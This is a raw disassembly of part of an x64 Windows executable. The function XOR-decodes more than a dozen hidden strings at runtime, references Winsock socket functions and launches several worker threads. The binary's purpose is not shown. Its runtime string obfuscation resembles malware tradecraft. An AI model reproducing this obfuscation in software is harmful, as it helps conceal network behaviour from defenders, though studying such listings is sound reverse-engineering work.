mov dword [rbp + 0xdc], 0x496c085a
mov word [rbp + 0xe0], 0x495c
xor byte [rbp + rax + 0xd9], cl
add rax, rdi
cmp rax, 9
jae 0x14002731b
mov cl, byte [rbp + 0xd8]
jmp 0x140027303
lea rax, [rbp + 0xd9]
mov byte [rbp + 0xe2], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x458]
call fcn.140003550
movdqa xmm0, xmmword [0x1400824d0]
mov rcx, r14
movdqu xmmword [rbp + 0x1a8], xmm0
mov dword [rbp + 0x1b8], 0x1600041c
mov word [rbp + 0x1bc], di
mov al, byte [rbp + 0x1a8]
xor byte [rbp + rcx + 0x1a9], al
add rcx, rdi
cmp rcx, 0x14
jb 0x140027366
lea rax, [rbp + 0x1a9]
mov byte [rbp + 0x1bd], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x438]
call fcn.140003550
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x958]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x458]
lea rcx, [rbp + 0xcc0]
call fcn.140012848
xor eax, eax
mov dword [rbp - 8], 0x71725317
mov cl, reloc.WS2_32.dll_socket
mov dword [rbp - 4], 0x637b6276
mov dil, 0x76
mov byte [rbp], al
lea r15d, [rax + 1]
xor byte [rbp + rax - 7], cl
add rax, r15
cmp rax, 7
jae 0x140027401
mov cl, byte [rbp - 8]
jmp 0x1400273ef
lea rax, [rbp - 7]
mov byte [rbp], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x418]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xe8], 0x5133560
mov byte [rbp + 0xf2], al
mov dword [rbp + 0xec], 0x1244012
mov word [rbp + 0xf0], 0x114
xor byte [rbp + rax + 0xe9], bl
add rax, r15
cmp rax, 9
jae 0x14002745f
mov bl, byte [rbp + 0xe8]
jmp 0x140027447
lea rax, [rbp + 0xe9]
mov byte [rbp + 0xf2], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3f8]
call fcn.140003550
mov cl, reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x78], 0x686b4a0f
mov rax, r14
mov word [rsp + 0x7c], WSASetLastError
xor byte [rsp + rax + 0x79], cl
add rax, r15
cmp rax, 4
jae 0x1400274ad
mov cl, byte [rsp + 0x78]
jmp 0x14002749a
lea rax, [rsp + 0x79]
mov byte [rsp + 0x7d], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xf8], 0x1a103479
mov byte [rbp + 0x102], al
mov dword [rbp + 0xfc], 0x160a160b
mov word [rbp + 0x100], 0xd1f
xor byte [rbp + rax + 0xf9], r12b
add rax, r15
cmp rax, 9
jae 0x14002750f
mov r12b, byte [rbp + 0xf8]
jmp 0x1400274f5
lea rax, [rbp + 0xf9]
mov byte [rbp + 0x102], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3b8]
call fcn.140003550
lea r8, [rbp + 0x3b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x938]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x3d8]
lea rcx, [rbp + 0x918]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x3f8]
lea rcx, [rbp + 0x8f8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x418]
lea rcx, [rbp + 0xce0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 8], 0x11123377
mov byte [rbp + 0x10], al
mov cl, 0x77
mov dword [rbp + 0xc], 0x31b0216
xor byte [rbp + rax + 9], cl
add rax, r15
cmp rax, 7
jae 0x1400275b9
mov cl, byte [rbp + 8]
jmp 0x1400275a7
lea rax, [rbp + 9]
mov byte [rbp + 0x10], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x398]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x108], 0xc1a3c69
mov byte [rbp + 0x112], al
mov cl, 0x69
mov dword [rbp + 0x10c], 0x82d491b
mov word [rbp + 0x110], 0x81d
xor byte [rbp + rax + 0x109], cl
add rax, r15
cmp rax, 9
jae 0x140027619
mov cl, byte [rbp + 0x108]
jmp 0x140027601
lea rax, [rbp + 0x109]
mov byte [rbp + 0x112], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x378]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x188], 0x3e2d1d5f
mov byte [rbp + 0x196], al
mov dword [rbp + 0x18c], 0x1d723a29
mov dword [rbp + 0x190], 0x2c28302d
mov word [rbp + 0x194], 0x2d3a
xor byte [rbp + rax + 0x189], r13b
add rax, r15
cmp rax, 0xd
jae 0x140027689
mov r13b, byte [rbp + 0x188]
jmp 0x14002766f
lea rax, [rbp + 0x189]
mov byte [rbp + 0x196], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x358]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x198], 0x3b28185a
mov byte [rbp + 0x1a6], al
mov dword [rbp + 0x19c], 0x35093f2c
mov dword [rbp + 0x1a0], 0x3b2d2e3c
mov word [rbp + 0x1a4], 0x3f28
xor byte [rbp + rax + 0x199], sil
add rax, r15
cmp rax, 0xd
jae 0x1400276f9
mov sil, byte [rbp + 0x198]
jmp 0x1400276df
lea rax, [rbp + 0x199]
mov byte [rbp + 0x1a6], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x338]
call fcn.140003550
lea r8, [rbp + 0x338]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x8d8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x358]
lea rcx, [rbp + 0x8b8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x378]
lea rcx, [rbp + 0x898]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x398]
lea rcx, [rbp + 0xd00]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x70], 0x27240541
mov byte [rbp - 0x68], al
mov cl, 0x41
mov dword [rbp - 0x6c], 0x352d3420
xor byte [rbp + rax - 0x6f], cl
add rax, r15
cmp rax, 7
jae 0x1400277a3
mov cl, byte [rbp - 0x70]
jmp 0x140027791
lea rax, [rbp - 0x6f]
mov byte [rbp - 0x68], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x318]
call fcn.140003550
xor eax, eax
mov dword [rbp - 0x80], 0x13052376
mov byte [rbp - 0x76], al
mov dword [rbp - 0x7c], 0x17325604
mov word [rbp - 0x78], 0x1702
xor byte [rbp + rax - 0x7f], dil
add rax, r15
cmp rax, 9
jae 0x1400277f1
mov dil, byte [rbp - 0x80]
jmp 0x1400277dd
lea rax, [rbp - 0x7f]
mov byte [rbp - 0x76], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2f8]
call fcn.140003550
xor eax, eax
mov dword [rbp - 0x50], 0x1b142c75
mov byte [rbp - 0x42], al
mov cl, 0x75
mov dword [rbp - 0x4c], 0x370d1011
mov r13d, reloc.WS2_32.dll_recv
mov dword [rbp - 0x48], 0x6021a07
mov word [rbp - 0x44], 0x710
xor byte [rbp + rax - 0x4f], cl
add rax, r15
cmp rax, 0xd
jae 0x14002784c
mov cl, byte [rbp - 0x50]
jmp 0x14002783a
lea rax, [rbp - 0x4f]
mov byte [rbp - 0x42], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2d8]
call fcn.140003550
mov cl, reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x20], 0x616e560f
mov rax, r14
mov dword [rbp - 0x1c], 0x776a6b
xor byte [rbp + rax - 0x1f], cl
add rax, r15
cmp rax, 6
jae 0x140027892
mov cl, byte [rbp - 0x20]
jmp 0x140027880
lea rax, [rbp - 0x1f]
mov byte [rbp - 0x19], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2b8]
call fcn.140003550
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x878]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x2d8]
lea rcx, [rbp + 0x858]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x2f8]
lea rcx, [rbp + 0x838]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x318]
lea rcx, [rbp + 0xd20]
call fcn.140012848
lea rcx, [rbp + 0x838]
call fcn.14001d63c
lea rcx, [rbp + 0x858]
call fcn.14001d63c
lea rcx, [rbp + 0x878]
call fcn.14001d63c
lea rcx, [rbp + 0x2b8]
call fcn.14001d63c
lea rcx, [rbp + 0x2d8]
call fcn.14001d63c
lea rcx, [rbp + 0x2f8]
call fcn.14001d63c
lea rcx, [rbp + 0x318]
call fcn.14001d63c
lea rcx, [rbp + 0x898]
call fcn.14001d63c
lea rcx, [rbp + 0x8b8]
call fcn.14001d63c
lea rcx, [rbp + 0x8d8]
call fcn.14001d63c
lea rcx, [rbp + 0x338]
call fcn.14001d63c
lea rcx, [rbp + 0x358]
call fcn.14001d63c
lea rcx, [rbp + 0x378]
call fcn.14001d63c
lea rcx, [rbp + 0x398]
call fcn.14001d63c
lea rcx, [rbp + 0x8f8]
call fcn.14001d63c
lea rcx, [rbp + 0x918]
call fcn.14001d63c
lea rcx, [rbp + 0x938]
call fcn.14001d63c
lea rcx, [rbp + 0x3b8]
call fcn.14001d63c
lea rcx, [rbp + 0x3d8]
call fcn.14001d63c
lea rcx, [rbp + 0x3f8]
call fcn.14001d63c
lea rcx, [rbp + 0x418]
call fcn.14001d63c
lea rcx, [rbp + 0x958]
call fcn.14001d63c
lea rcx, [rbp + 0x438]
call fcn.14001d63c
lea rcx, [rbp + 0x458]
call fcn.14001d63c
lea rcx, [rbp + 0x978]
call fcn.14001d63c
lea rcx, [rbp + 0x998]
call fcn.14001d63c
lea rcx, [rbp + 0x9b8]
call fcn.14001d63c
lea rcx, [rbp + 0x478]
call fcn.14001d63c
lea rcx, [rbp + 0x498]
call fcn.14001d63c
lea rcx, [rbp + 0x4b8]
call fcn.14001d63c
lea rcx, [rbp + 0x4d8]
call fcn.14001d63c
lea rcx, [rbp + 0x9d8]
call fcn.14001d63c
lea rcx, [rbp + 0x9f8]
call fcn.14001d63c
lea rcx, [rbp + 0x4f8]
call fcn.14001d63c
lea rcx, [rbp + 0x518]
call fcn.14001d63c
lea rcx, [rbp + 0x538]
call fcn.14001d63c
lea rcx, [rbp + 0xa18]
call fcn.14001d63c
lea rcx, [rbp + 0xa38]
call fcn.14001d63c
lea rcx, [rbp + 0x558]
call fcn.14001d63c
lea rcx, [rbp + 0x578]
call fcn.14001d63c
lea rcx, [rbp + 0x598]
call fcn.14001d63c
lea rcx, [rbp + 0xa58]
call fcn.14001d63c
lea rcx, [rbp + 0xa78]
call fcn.14001d63c
lea rcx, [rbp + 0x5b8]
call fcn.14001d63c
lea rcx, [rbp + 0x5d8]
call fcn.14001d63c
lea rcx, [rbp + 0x5f8]
call fcn.14001d63c
lea rcx, [rbp + 0xa98]
call fcn.14001d63c
lea rcx, [rbp + 0xab8]
call fcn.14001d63c
lea rcx, [rbp + 0x618]
call fcn.14001d63c
lea rcx, [rbp + 0x638]
call fcn.14001d63c
lea rcx, [rbp + 0x658]
call fcn.14001d63c
lea rcx, [rbp + 0xad8]
call fcn.14001d63c
lea rcx, [rbp + 0x678]
call fcn.14001d63c
lea rcx, [rbp + 0x698]
call fcn.14001d63c
lea rcx, [rbp + 0xaf8]
call fcn.14001d63c
lea rcx, [rbp + 0x6b8]
call fcn.14001d63c
lea rcx, [rbp + 0x6d8]
call fcn.14001d63c
lea rcx, [rbp + 0xb18]
call fcn.14001d63c
lea rcx, [rbp + 0x6f8]
call fcn.14001d63c
lea rcx, [rbp + 0x718]
call fcn.14001d63c
lea rcx, [rbp + 0x238]
call fcn.14001d63c
lea rcx, [rbp + 0x738]
call fcn.14001d63c
lea rcx, [rbp + 0x758]
call fcn.14001d63c
lea rcx, [rbp + 0x258]
call fcn.14001d63c
lea rcx, [rbp + 0x778]
call fcn.14001d63c
lea rcx, [rbp + 0x798]
call fcn.14001d63c
lea rcx, [rbp + 0x278]
call fcn.14001d63c
lea rcx, [rbp + 0x7b8]
call fcn.14001d63c
lea rcx, [rbp + 0x7d8]
call fcn.14001d63c
lea rcx, [rbp + 0x298]
call fcn.14001d63c
lea rcx, [rbp + 0x7f8]
call fcn.14001d63c
lea rcx, [rbp + 0x818]
call fcn.14001d63c
xorps xmm0, xmm0
mov qword [rbp + 0x1b8], r14
movdqu xmmword [rbp + 0x1a8], xmm0
mov rbx, qword [rbp + 0x1b0]
lea rdi, [rbp + 0xb40]
mov rsi, r14
lea r9, [rsp + 0x30]
mov byte [rsp + 0x30], r14b
mov r8, rdi
lea rdx, [0x140015b04]
lea rcx, [rsp + 0x78]
call fcn.14000a840
mov r9, qword [rsp + 0x78]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x140006038]
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140028153
mov qword [rsp + 0x78], r14
cmp rbx, rsi
je 0x140027d07
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, r13
mov qword [rbp + 0x1b0], rbx
jmp 0x140027d28
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005354
mov rsi, qword [rbp + 0x1b8]
mov rbx, qword [rbp + 0x1b0]
cmp dword [rbp - 0x48], r14d
jne 0x1400280f3
add rdi, 0x20
lea rax, [rbp + 0xd40]
cmp rdi, rax
jne 0x140027c92
lea rdi, [rbp + 0xd40]
lea r9, [rsp + 0x30]
mov byte [rsp + 0x30], r15b
mov r8, rdi
lea rdx, [0x140015b04]
lea rcx, [rsp + 0x78]
call fcn.14000a840
mov r9, qword [rsp + 0x78]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x140006038]
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140028144
mov qword [rsp + 0x78], r14
cmp rbx, rsi
je 0x140027dc2
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, r13
mov qword [rbp + 0x1b0], rbx
jmp 0x140027de3
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005354
mov rsi, qword [rbp + 0x1b8]
mov rbx, qword [rbp + 0x1b0]
cmp dword [rbp - 0x48], r14d
jne 0x1400280ec
add rdi, 0x20
lea rax, [rbp + 0xdc0]
cmp rdi, rax
jne 0x140027d4d
mov rdi, qword [rbp + 0x1a8]
jmp 0x140027e4d
cmp dword [rdi + 8], r14d
je 0x14002812b
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x140028120
movups xmm0, xmmword [rdi]
xor edx, edx
lea rcx, [rbp + 0x1c0]
movdqu xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028115
xorps xmm0, xmm0
movdqu xmmword [rdi], xmm0
add rdi, r13
cmp rdi, rbx
jne 0x140027e0a
mov rdi, qword [0x1400a2f38]
xorps xmm1, xmm1
mov r15, qword [0x1400a2f40]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm1
mov rbx, qword [rbp + 0x1d8]
xor r12d, r12d
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rbp + 0x1e0], r14
jmp 0x140027f55
mov ecx, 0x28
call fcn.14007a988
mov rsi, rax
test rax, rax
je 0x140027ed3
xorps xmm0, xmm0
mov rdx, rdi
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
cmp qword [rdi + 0x18], 0xf
jbe 0x140027ebc
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
call fcn.140002e4c
lea rax, [rsp + 0x50]
mov qword [rsi + 0x20], rax
jmp 0x140027ed6
mov rsi, r12
lea rax, [rbp - 0x48]
mov r9, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140006104]
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140028106
cmp rbx, r14
je 0x140027f26
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, r13
mov qword [rbp + 0x1d8], rbx
jmp 0x140027f47
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call fcn.140005354
mov r14, qword [rbp + 0x1e0]
mov rbx, qword [rbp + 0x1d8]
cmp dword [rbp - 0x48], r12d
jne 0x140027fec
add rdi, 0x20
cmp rdi, r15
jne 0x140027e8f
mov r15d, 1
mov ecx, r15d
call fcn.14007a988
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400060d4]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140028134
cmp dword [rsp + 0x48], r12d
je 0x14002812b
call sub.MSVCP140.dll__Thrd_id
cmp dword [rsp + 0x48], eax
je 0x140028120
movaps xmm0, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x1c0]
xor edx, edx
movdqa xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028115
mov rdi, qword [rbp + 0x1d0]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x140028036
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp dword [rdi + 8], r12d
je 0x14002812b
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x140028120
movups xmm0, xmmword [rdi]
xor edx, edx
lea rcx, [rbp + 0x1c0]
movdqu xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028115
xorps xmm0, xmm0
movdqu xmmword [rdi], xmm0
add rdi, r13
cmp rdi, rbx
jne 0x140027ff3
cmp dword [rsp + 0x48], r12d
je 0x140028049
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp + 0x1d0]
call fcn.14001d5bc
lea rcx, [rsp + 0x50]
call fcn.14001d4b4
lea rcx, [rbp + 0x1a8]
call fcn.14001d5bc
lea r9, [fcn.140010e64]
mov r8, r13
mov edx, 0x20
lea rcx, [rbp + 0xb40]
call fcn.14007a8b8
mov edx, 0x20
lea r9, [fcn.140010e64]
lea rcx, [rbp + 0xd40]
lea r8d, [rdx - 0x1c]
call fcn.14007a8b8
lea rcx, [rbp + 0x208]
call fcn.14001d63c
lea rcx, [rbp + 0x1e8]
call fcn.14001d63c
xor eax, eax
mov rcx, qword [rbp + 0xdc0]
xor rcx, rsp
call fcn.14007ae40
lea r11, [rsp + 0xed0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.14001d0ac
int3
call fcn.14001d944
int3
mov ecx, 6
mov dword [rbp - 0x48], r12d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 2
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, r15d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rsp + 0x48], r12d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp - 0x48], r14d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp - 0x48], r14d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3